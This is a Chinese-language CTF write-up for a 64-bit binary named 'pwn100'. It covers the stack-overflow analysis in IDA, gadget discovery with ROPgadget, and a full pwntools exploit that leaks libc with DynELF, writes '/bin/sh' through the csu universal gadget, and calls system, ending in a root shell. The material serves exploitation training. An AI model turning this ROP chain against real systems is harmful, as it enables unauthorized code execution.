ida pro打开
__int64 __fastcall sub_40063D(__int64 a1, unsigned int a2)
{
__int64 result; // rax@3
signed int i; // [sp+1Ch] [bp-4h]@1 //将用户输入的a2个字节保存在a1中
for ( i = 0; ; ++i )
{
result = (unsigned int)i;
if ( i >= (signed int)a2 )
break;
read(0, (void *)(i + a1), 1uLL);
}
return result; //返回a2
}
如下所示,存储用户输入的空间为0x40字节,所以用户输入会导致溢出
int sub_40068E()
{
char v1; // [sp+0h] [bp-40h]@1
sub_40063D((__int64)&v1, 0xC8u); // 这里存在明显的栈溢出
return puts("bye~");
}
使用objdump -d pwn100|less
查看put@plt和read@got
0000000000400500 <puts@plt>:
400500: ff 25 12 0b 20 00 jmpq *0x200b12(%rip) # 601018 <__gmon_start__@plt+0x200ad8>
0000000000400520 <read@plt>:
400520: ff 25 02 0b 20 00 jmpq *0x200b02(%rip) # 601028 <__gmon_start__@plt+0x200ae8>
通过ROPgadget --binary pwn100|less
查找pop rdi ; ret
...skipping...
0x0000000000400763 : pop rdi ; ret
0x0000000000400761 : pop rsi ; pop r15 ; ret
在ida_pro中查找通用gadget的地址
.text:0000000000400740
.text:0000000000400740 loc_400740: ; CODE XREF: init+54j
.text:0000000000400740 038 mov rdx, r13
.text:0000000000400743 038 mov rsi, r14
.text:0000000000400746 038 mov edi, r15d
.text:0000000000400749 038 call qword ptr [r12+rbx*8]
.text:000000000040074D 038 add rbx, 1
.text:0000000000400751 038 cmp rbx, rbp
.text:0000000000400754 038 jnz short loc_400740
.text:0000000000400756
.text:0000000000400756 loc_400756: ; CODE XREF: init+36j
.text:0000000000400756 038 add rsp, 8
.text:000000000040075A 030 pop rbx
.text:000000000040075B 028 pop rbp
.text:000000000040075C 020 pop r12
.text:000000000040075E 018 pop r13
.text:0000000000400760 010 pop r14
.text:0000000000400762 008 pop r15
.text:0000000000400764 000 retn
.text:0000000000400764 init endp
最终的exp
# coding:utf-8
from pwn import *
start_addr = 0x400550
pop_rdi = 0x400763
puts_addr = 0x400500
read_got = 0x601028
io = process('./pwn100')
def leak(addr):
count = 0
up = ''
content = ''
payload = 'a' * 72
payload += p64(pop_rdi) #这个地方覆盖了return address
payload += p64(addr) #将地址存入rdi
payload += p64(puts_addr) #输出了addr的值
payload += p64(start_addr) #重新进入程序开始的地方
payload = payload.ljust(200, 'a')
io.send(payload)
io.recvuntil("bye~\n")
while True:
c = io.recv(numb=1, timeout=0.1)
count += 1
if up == '\n' and c == "":
content = content[:-1] + '\x00'
break
else:
content += c
up = c
content = content[:4]
log.info("%#x => %s" % (addr, (content or '').encode('hex')))
return content
elf = ELF("./pwn100")
d = DynELF(leak, elf=elf) #无libc,有binary
system_addr = d.lookup('system', 'libc') #使用DynELF通过leak出来的地址,找到libc中system的地址
log.info("system_addr = %#x", system_addr)
gadget1 = 0x40075a
gadget2 = 0x400740
binsh_addr = 0x601000 #只要这个地址是一个可写入的区域就行
payload = 'a' * 72 #通过通用gadget来构造rop链来写入/bin/sh
payload += p64(gadget1)
payload += p64(0) # rbx=0
payload += p64(1) # rbp=1 call
payload += p64(read_got) # read
payload += p64(8) # read size
payload += p64(binsh_addr)
payload += p64(0) # r15 read canshu
payload += p64(gadget2)
payload += '\x00' * 56
payload += p64(start_addr)
payload = payload.ljust(200, 'a')
io.send(payload)
io.recvuntil('bye~\n')
io.send('/bin/sh\x00')
payload = "A" * 72 #构造rop链来调用system('/bin/sh')
payload += p64(pop_rdi) # system("/bin/sh\x00")
payload += p64(binsh_addr)
payload += p64(system_addr)
payload = payload.ljust(200, "B")
io.send(payload)
io.interactive()
结果
[*] 0x7ffff7a18bc6 => 00
[*] 0x7ffff7a18bc7 => 00
[*] system_addr = 0x7ffff7a50270
[*] Switching to interactive mode
bye~
$ id
uid=0(root) gid=0(root) 组=0(root)